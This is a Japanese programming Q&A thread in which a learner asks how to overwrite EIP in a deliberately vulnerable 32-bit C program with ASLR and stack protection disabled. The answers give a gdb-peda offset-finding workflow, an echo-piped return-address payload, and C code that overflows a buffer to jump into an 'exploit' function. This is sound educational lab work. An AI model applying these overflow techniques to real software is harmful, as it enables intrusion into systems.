質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.50%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

バイナリ

バイナリは、「0」と「1」だけで表現されている2進数のデータ形式。または、テキスト以外の情報でデータが記述されているファイルを指します。コンピューター内の処理は全て2進数で表記されています。

Q&A

解決済

2回答

1717閲覧

バッファオーバーフローを起こしたい。

NieR

総合スコア16

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

バイナリ

バイナリは、「0」と「1」だけで表現されている2進数のデータ形式。または、テキスト以外の情報でデータが記述されているファイルを指します。コンピューター内の処理は全て2進数で表記されています。

0グッド

3クリップ

投稿2018/01/24 02:33

編集2018/01/24 19:18

バッファオーバーフローの勉強をしています。
ASLRは無効。SSPも無効にしてコンパイルしてあります。
cのプログラムです。
イメージ説明
上のプログラムには脆弱性があり、bufferで定義されている32byteよりも大きい値を入力されるとオーバーフローがおきます。
プログラムを実行し、入力に、
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
と与えてみたところ、下の画像のように
EIPがBBBBで書き換えられました。
イメージ説明
これで自分の好きな場所に実行位置を移すことが出来ると思ったので、main関数に飛ばしてもう一度Helloと表示させたいと思いました。下の画像のように逆アセンブリしてみてみると、どうやらmain関数はメモリの000005b4に格納されているみたいなので、
アセンブリ
もう一度、プログラムを実行して入力に
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb4050000
(インテルCPUのためリトルエンディアンです。)
と入力してみましたが、うまく行きません。
下の画像のようになってしまいます。
イメージ説明
なんとなく16進数に変換しないとだめかなと思いましたが、
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0xb40x050x000x00
のように0xをつけてみてもダメでした。
調べてもどのような入力を渡せば良いか分かりませんでした。
環境はkali linux2017.3です。
どなたかご教授お願いいたします。

追記
回答してくださった方の方法でうまくいくと思うけど、もう少し回答いただきたいので一様追記。
EIPに0x000005b4を格納できれば良いみたい。
python3で000005b4をバイト文字列に変換してみると、
\x00\x00\x05\xb4となった。
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb4\x05\x00\x00' | ./一番上の画像のcのプログラム
としてみても上手くいきませんでした。
書くの忘れていましたが、gcc -m32 でコンパイルしているのでレジスタのサイズは32bitなのでそもそも\x00\x00\x05\xb4がEIPに入りきらない気がする・・・。
(\x00\x00\x05\xb4は16byteもあるので)
BBBBは4byteだから入るけど・・・

asm様のコードがいまいち理解できていません・・・
キーボードでは普通の文字列しか入力できないから、バイナリで入力を渡せるようにファイルにバイナリ形式で書き込んでそれをfgetsで読み込んでいるコードのようだけれど、コンパイルして実行すると、input: となって入力を待たれて何を入れてもWrong anserとなって
コードが進まないです。
ついでに教えて頂けると嬉しいです。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

Eki

2018/01/24 14:22 編集

とりあえず、\x00\x00\x05\xb4 は32ビットですよ。16進数1ケタに対して4ビットで、それが8桁あるので。 文字列と値を混同されているようですが、'\x00'は {'\','x','0','0'} という4文字ではなく、エスケープシーケンスを使った特殊な文字です。 '\x00'という、言うなれば char 型1つの値です。char c = 0x00; としたときの c にあたります。つまり文字を文字コードで直接指定する書き方のようなものです。
NieR

2018/01/24 19:22

\x00\x00\x05\xb4はバイナリではなく普通の文字列として渡されてしまっているということですね。バイナリ形式で値を渡す方法を探してみます。ありがとうございました。
Eki

2018/01/24 20:17

それはそれとして、追加された部分ですが、 input: や Wrong anser とは何が表示している文字列ですか? asm さんのプログラムにはそのような文字列もなく、キーボード入力を受け付けてもないので、おそらく何か別のプログラム (シェルなど?) による表示と思われます。ちなみに、 asm さんのプログラムはこちらの環境 (Arch Linux, 64-bit, -m32 -fno-stack-protector) では正しく脆弱性を再現しました。
NieR

2018/01/24 20:39

私も、asm様のプログラムに入力を受け付けるような部分がないので不思議に思っておりました。他のコンパイルした実行ファイルは普通に動くのですが、asm様のコードだけなぜか ./コンパイルしたasm様のコード とターミナルで実行するとなぜか入力を待たれるのです。タイトルから逸れた内容になるのでもう少し調べてみます。わざわざ実行までしてくださりありがとうございます。
guest

回答2

0

ベストアンサー

そういえば、input: や Wrong anser と表示される件についてはどうなりましたか?

詳しくメモリ配置諸々について説明しろと言われると知識不足なので答えられませんが...
とりあえずやってみました。環境は Arch Linux, 64-bit です。

まず、

EIPに0x000005b4を格納できれば良い

がどうも怪しいです。

実際に同様のプログラムを書き、 -m32 -fno-stack-protector オプションを付けてコンパイルしたバイナリを obbjdump と gdb を使って逆アセンブルしてみました。

objdump -d で表示されるアドレスは、NieR さんと同じように非常に小さいものでした (3ケタとか) 。一方、gdbプログラムを開始した後disassemble main で表示されたアドレスは、その3ケタの上に5ケタくらいくっついて8ケタくらいになっていました。

つまり、バイナリは相対アドレスになっていて、実行時にどこぞに配置されているようなのです。つまりは position-independent executable になっているようなのです。おそらく ASLR を行うため、デフォルトで (私の環境では) PIE になるようです。 NieR さんの環境もおそらくそうなのでは?

というわけで、明示的に -fno-PIE -no-pie と指定して PIE でないバイナリをコンパイルするか、PIE なバイナリの場合は (ALSR を解除した状態であることは前提になりますが) 実際に配置されるアドレスを取得する必要があります。

PIE でないバイナリをコンパイルした場合は objdump で見れば分かります。

PIE な場合は

  1. 実行してみて pid を確認し、/proc/{pid}/maps で確認する
  2. gdb で disassemble コマンドを実行して見る
  3. プログラム自信に main() 関数のアドレスを取って表示させる

などして得られます。 PIE が実際どこに配置されるかなどのルールは私には分からないので、得られたアドレスがどれくらいの間有効なのかは分かりませんが、とりあえず実験して確かめる間くらいは同じアドレスになってくれました。

そして正しいアドレスが分かったら、 echo -e 'AA....A\x00\x00\x00\x00' を使う方法で再現させられます。うまく普通の文字列の範囲におさまってくれたなら、手入力でも同様です。


以下、実際に私がやって再現させたときの手順です。いろいろ関係のない部分もありますが。

コンパイル

ファイルは vulnerable.c です。中身は質問文に貼られていた画像の通りに写しました。

text

1% gcc -o vulnerable vulnerable.c -m32 -fno-stack-protection

これで、 PIE なバイナリができます。あるいは

text

1% gcc -o vulnerable vulnerable.c -m32 -fno-stack-protection -fno-PIE -no-pie

これで、 PIE でないバイナリができます。

アドレス割り出し

gdb を使います。

text

1% gdb vulnerable

この直後に disassemble main してもまだ配置されていないので例の相対アドレスが出るのみです。なのでまずは実行。止まってほしいので run でなく start します。

text

1gdb-peda$ start

続いて、

text

1gdb-peda$ disassemble main

とすると、main() 関数が逆アセンブルされます。このときの先頭の <+0> となっているところのアドレスが main() の先頭アドレスです。メモするなりなんなり。

EIP を書き換えるためのオフセットを探す

続いて文字列のどこにアドレスを入れると EIP を書き換えられるかを探します。それに関しては NieR さんは既に分かっていらっしゃるようなので不要ですが一応。

text

1gdb-peda$ pattern create 200 input

200文字のパターンを input というファイルに保存しておきます。これを標準入力にリダイレクトするという算段です。パターンを標準入力に与える方法、もっと普通のやり方があるのかもしれないですが、とりあえずこれでできたのでよしとします。

text

1gdb-peda$ run < input

すると当然落ちます。落ちたときの EIP に入っている文字列を覚えて次のようにコマンドを唱えると

text

1gdb-peda$ pattern offset {XXXX: EIP に入っていた文字列} 2XXXX found at offset: **

となって、オフセットが表示されます。この ** にある数字の数が求めるオフセットです。

実行

ここまでくると (ASLR をシステムワイドで無効にしているならば) gdb は終了しても大丈夫です。echo -e を使って入力を作り、パイプします。

text

1% echo -e 'AA...AAA\x00\x00\x00\x00' | ./vulnerable 2Hello 3Hello 4segmentation fault

私はシステムワイドでは無効にしていないので gdb の無効化に頼りましたが。 gdb 内でファイルを経由して入力し、成功することを確認しました。また、 PIE でないプログラムについては、上のようにパイプを使って行う方法で同様に確認できました。

おつかれさまでした。

繰り返しになりますが、私はあまり詳しくないので、詳細な質問にはお答えできないかもしれません。

投稿2018/01/27 13:15

Eki

総合スコア429

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

NieR

2018/01/30 15:44

inputと入力を受け付ける問題は解決しなかったため、別のVMで試しました。 Eki様の詳しい手順のおかげで無事、再現できました。 実は、色々しているうちにEIPに任意のアドレスを入れるところまでは出来たのですが、そこに実行可能なプログラムは無いよとエラーが吐かれて止まっていましたが、PIEになっていたからなのですね。 丁寧な回答に感謝いたします。また、asm様も私の実力不足で理解に及ばなかったのですが本当にありがとうございました。
guest

0

EIPがBBBBではなく0x42424242に書き換えられています。

キーボード入力からバイナリ文字列を入力する方法はちょっと分かりませんが
適当なファイルを仲介することで可能かと思います

FILE* in; void exploit(){ puts("exploit!\n"); } void exploit_code_gen(void* func){ in = fopen("exploit_string", "w+b"); fprintf(in, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); fwrite(&func, sizeof(func), 1, in); rewind(in); } void vulnenable_func(){ char buf[32]; fgets(buf, 128, in); } int main(){ exploit_code_gen(exploit); vulnenable_func(); return 0; }

投稿2018/01/24 03:02

編集2018/01/24 03:03
asm

総合スコア15147

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

NieR

2018/01/24 05:21

お忙しい中、コードまで書いて頂き本当にありがとうございます。 c言語が不慣れなもので理解出来るようにがんばってみます。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.50%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問